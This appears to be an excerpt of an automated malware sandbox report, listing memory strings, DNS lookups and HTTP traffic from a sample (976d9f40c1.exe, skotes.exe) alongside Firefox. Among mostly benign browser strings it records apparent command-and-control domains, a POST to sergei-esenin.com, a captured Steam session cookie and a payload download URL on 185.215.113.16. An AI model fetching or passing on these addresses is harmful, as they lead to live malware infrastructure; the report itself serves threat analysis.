Source: firefox.exe, 00000019.00000002.3256678310.00000137A6497000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3256678310.00000137A6497000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: 976d9f40c1.exe, 00000009.00000003.2803479877.000000000172B000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000002.2806627641.000000000172B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ ht equals www.youtube.com (Youtube)
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3190977746.000001379C4DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000019.00000002.3190977746.000001379C4DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://.finance.yahoo.com/https://.piped.kavin.rocks/https://.piped.silkky.cloud/www.google.com equals www.yahoo.com (Yahoo)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A69FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3257901918.00000137A67B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3272561632.00000E3FE0E00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/Z equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3257901918.00000137A6715000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A69FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3257901918.00000137A67B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A9E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A9E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/{incognito:null, tabId:null, types:null, urls:["://.bancosantander.es/", "://.gruposantander.es/", "://.santander.co.uk/*"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/{incognito:null, tabId:null, types:null, urls:["://.bancosantander.es/", "://.gruposantander.es/", "://.santander.co.uk/*"], windowId:null} equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3190977746.000001379C4DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3190977746.000001379C4DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3190977746.000001379C4DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))(browserSettings.update.channel == "release") && ((experiment.slug in activeExperiments) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/DeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))(browserSettings.update.channel == "release") && ((experiment.slug in activeExperiments) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/DeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))(browserSettings.update.channel == "release") && ((experiment.slug in activeExperiments) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/DeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3272561632.00000E3FE0E00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Z equals www.youtube.com (Youtube)
Source: 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: tps://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: tps://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cb9e7f3651c38ac41ccf738a8ba3498dc; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=9ec3d07959c524245a527493; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26105Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 23 Oct 2024 13:49:17 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3210751265.000001379F221000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3213506140.000001379F6F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3272561632.00000E3FE0E00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3272561632.00000E3FE0E00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comZ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3272561632.00000E3FE0E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3267319555.00000137A9157000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3041536063.00000137A9169000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3272561632.00000E3FE0E00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comZ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3210751265.000001379F217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3204056198.000001379E639000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3213506140.000001379F6DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 23 Oct 2024 13:48:06 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eX7gCV1K5Dls9MLA9vMjPW0W3%2BKmmI10%2Fqjs%2FAf4Zv17%2B%2ByekZEJGID%2BW4PN%2FdB6zZrjuraK2sIqLptBz4jkkduTdslSO6hpCODsvRTCJxWrDBwqsAw4JdEL%2FqcEozLsQREevQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d722ecf4bac6c4c-DFW

Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: skotes.exe, 00000008.00000002.3343285649.00000000016CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
